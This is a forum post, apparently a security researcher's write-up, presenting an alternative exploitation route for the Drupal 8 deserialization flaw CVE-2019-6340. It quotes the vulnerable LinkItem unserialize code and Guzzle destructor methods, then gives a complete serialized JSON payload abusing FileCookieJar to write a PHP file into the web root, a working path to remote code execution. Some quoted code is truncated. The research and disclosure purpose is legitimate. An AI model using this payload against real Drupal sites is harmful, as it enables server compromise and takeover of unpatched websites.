Post a Reply

Another attack vector of CVE-2019-6340

  1. last year



    In February 2019, Samuel Mortenson from Drupal security team discovered a critical vulnerability in this CMS, identified as CVE-2019-6340 or SA-CORE-2019-003 . This vulnerability is a kind of object injection vulnerability which my colleague mentioned in a previous research.

    According to the original research, this vulnerability enables a remote code execution attack by taking advantage of the existence of module RESTful Web Services and the acceptance of HTTP method GET, PATCH and POST. I have found another way to exploit this vulnerability and will cover the following details.

    The original research

    Let take a look at object injection vulnerability, in order to exploit this flaw, the target have to:

    • own an unserialize function and its input can be controlled by attackers
    • own an magic method (destruct() , wakeup()) which carry out dangerous statements.

    In Drupal version 8, we have such a unserialize function in LinkItem class

        // Treat the values as property value of the main property, if no array is
        // given.
        if (isset($values) && !is_array($values)) {
          $values = [static::mainPropertyName() => $values];
        if (isset($values)) {
          $values += [
            'options' => [],
        // Unserialize the values.
        // @todo The storage controller should take care of this, see
        //   SqlContentEntityStorage::loadFieldItems, see
        if (is_string($values['options'])) {
          $values['options'] = unserialize($values['options']);
        parent::setValue($values, $notify);

    Luckily, the $values['options'] is a value passed from client via API endpoint so anyone can control it, thanks RESTful Web Services for this feature.

    Regarding the magic method, Samuel Mortenson used a destruct function in Fnstream.php , in which call_user_func can can execute any php function as its input.

        public function __destruct()
            if (isset($this->_fn_close)) {

    Finally, attackers can build an RCE payload as follows (PHPGGC helped us in this work)


    Another attack vector[/h]

    Based on the original idea, I tried to find another magic method in Drupal. By grepping, I found that FileCookieJar.php is also a great alternative. Its destruct method is not able to directly execute commands, but can write files and execute commands through those files.

      public function __destruct()
         * Saves the cookies to a file.
         * @param string $filename File to save
         * @throws \RuntimeException if the file cannot be found or created
        public function save($filename)
            $json = [];
            foreach ($this as $cookie) {
                /** @var SetCookie $cookie */
                if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                    $json[] = $cookie->toArray();
            $jsonStr = \GuzzleHttp\json_encode($json);
            if (false === file_put_contents($filename, $jsonStr)) {
                throw new \RuntimeException("Unable to save file {$filename}");

    This method requires two parameters. The first is a local file and the second is a destination path (we must know the full path).

    My payload is simply create a phpinfo file in the target, it is as follows

      "link": [
          "value": "link",
          "options": "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000filename\";s:42:\"\/Users\/duy\/Desktop\/drupal-8.6.9\/hacked.php\";s:52:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000storeSessionCookies\";b:1;s:36:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\u0000GuzzleHttp\\Cookie\\SetCookie\u0000data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:18:\"<?php phpinfo();?>\";}}}s:39:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000strictMode\";N;}"
      "_links": {
        "type": {
          "href": "http://domain.tld/drupal-8.6.9/rest/type/shortcut/default"


    I got the result



or Sign Up to reply!